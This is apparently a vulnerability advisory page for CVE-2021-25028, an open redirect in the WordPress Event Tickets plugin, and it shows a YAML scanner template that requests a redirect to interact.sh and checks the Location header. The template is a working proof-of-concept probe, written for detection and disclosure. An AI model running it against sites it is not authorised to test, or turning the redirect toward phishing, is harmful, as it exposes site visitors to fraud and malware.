CVE-2021-25028: WordPress Event Tickets < 5.2.2 - Open Redirect

2025-08-01 WordPress Event Tickets PoC Public

Description

WordPress Event Tickets < 5.2.2 is susceptible to an open redirect vulnerability. The plugin does not validate the tribe_tickets_redirect_to parameter before redirecting the user to the given value, leading to an arbitrary redirect issue.

PoC

id: CVE-2021-25028

info:
  name: WordPress Event Tickets < 5.2.2 - Open Redirect
  author: dhiyaneshDk
  severity: medium
  description: WordPress Event Tickets < 5.2.2 is susceptible to an open redirect vulnerability. The plugin does not validate the tribe_tickets_redirect_to parameter before redirecting the user to the given value, leading to an arbitrary redirect issue.
  impact: |
    Attackers can redirect users to malicious websites through the tribe_tickets_redirect_to parameter, potentially facilitating phishing attacks or malware distribution.
  remediation: |
    Update to the latest version of the WordPress Event Tickets plugin (5.2.2 or higher) to fix the open redirect vulnerability.
  reference:
    - https://wpscan.com/vulnerability/80b0682e-2c3b-441b-9628-6462368e5fc7
    - https://nvd.nist.gov/vuln/detail/CVE-2021-25028
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-25028
    cwe-id: CWE-601
    epss-score: 0.01932
    epss-percentile: 0.78999
    cpe: cpe:2.3:a:tri:event_tickets:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: tri
    product: event_tickets
    framework: wordpress
  tags: cve2021,cve,wordpress,redirect,wp-plugin,eventtickets,wpscan,tri,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin.php?page=wp_ajax_rsvp-form&tribe_tickets_redirect_to=https://interact.sh"

    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/L403F0/1
# digest: 4a0a00473045022100b877c02e98f6314f699b9ed612144b16e397bc2eee50705fd694d912ca104ebf02204e2a978b98e0b454b394f1c55f490a4f9f2d844c812462623898ee9188c78f5a:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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